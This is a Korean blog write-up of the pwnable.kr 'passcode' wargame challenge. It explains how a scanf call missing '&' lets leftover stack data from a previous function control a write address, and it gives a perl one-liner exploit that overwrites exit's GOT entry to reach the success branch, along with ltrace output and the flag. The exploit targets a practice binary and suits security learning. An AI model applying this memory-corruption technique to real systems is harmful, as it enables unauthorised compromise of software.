passcode.c 소스
passcode1과 passcode2가 338150, 13371337와 같아지면 flag를 출력해준다.
여기서 scanf로 passcode를 입력 받을 때 %d 입력에 &가 없다는게 문제가 된다. 이렇게 되면 passcode 변수가 가지고 있는 값을 주소로 인식하고 해당 주소에 값을 입력받게 된다.
passcode를 컨트롤 할 수 있는 첫 번째 방법으로는 login함수 호출 전에 welcome 함수를 호출한다는 것이다.
따라서 welcome 함수에서 사용한 스택에 쓰레기 값들이 남아 있는 것을 활용할 수 있다.
확인 결과 아래와 같이 100byte 중 마지막 4byte가 passcode1에 매칭된다.
passcode@ubuntu:~$ (perl -e 'print "a"x96, "\x11\x22\x33\x44\n"';cat)|ltrace ./passcode
__libc_start_main(0x8048665, 1, 0xff8c4bf4, 0x80486a0, 0x8048710 <unfinished ...>
puts("Toddler's Secure Login System 1."...Toddler's Secure Login System 1.0 beta.
) = 40
printf("enter you name : ") = 17
__isoc99_scanf(0x80487dd, 0xff8c4ac8, 40, 0xf7664689, 0xf7796a20) = 1
printf("Welcome %s!\n", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"3D!
) = 110
printf("enter passcode1 : ") = 18
__isoc99_scanf(0x8048783, 0x44332211, 0x61616161, 0x61616161, 0x61616161
아무리 생각해도 passcode1과 passcode2를 동시에 338150, 13371337 만들 방법이 생각나지 않았다 ......
괜히 코드값을 맞춰줄려다가 시간만 버렸다 ㅡㅡㅡㅡ
어짜피 passcode1에 원하는 4byte값을 넣을 수 있고 해당 지점에 다시 4byte값을 넣을 수 있으니 그냥 exit의 got를 printf("Login OK!\n"); 쪽 흐름으로 덮어버리면 된다 ;;
[ 공격코드 ]
(perl -e 'print "a"x96, "\x18\xa0\x04\x08\n"';cat)|./passcode
134514135
a(아무 문자나 입력)
passcode@ubuntu:~$ (perl -e 'print "a"x96, "\x18\xa0\x04\x08\n"';cat)|./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
134514135
d
enter passcode1 : enter passcode2 : checking...
Login Failed!
Login OK!
Sorry mom.. I got confused about scanf usage :(
Now I can safely trust you that you have credential :)
'Wargame > pwnable.kr' 카테고리의 다른 글
[Rookiss] simple login (0) | 2014.07.27 |
---|---|
[Rookiss] brain fuck (0) | 2014.07.26 |
[Rookiss] ascii_easy (0) | 2014.07.21 |
[Rookiss] dragon (0) | 2014.07.20 |
[Rookiss] fsb (0) | 2014.07.07 |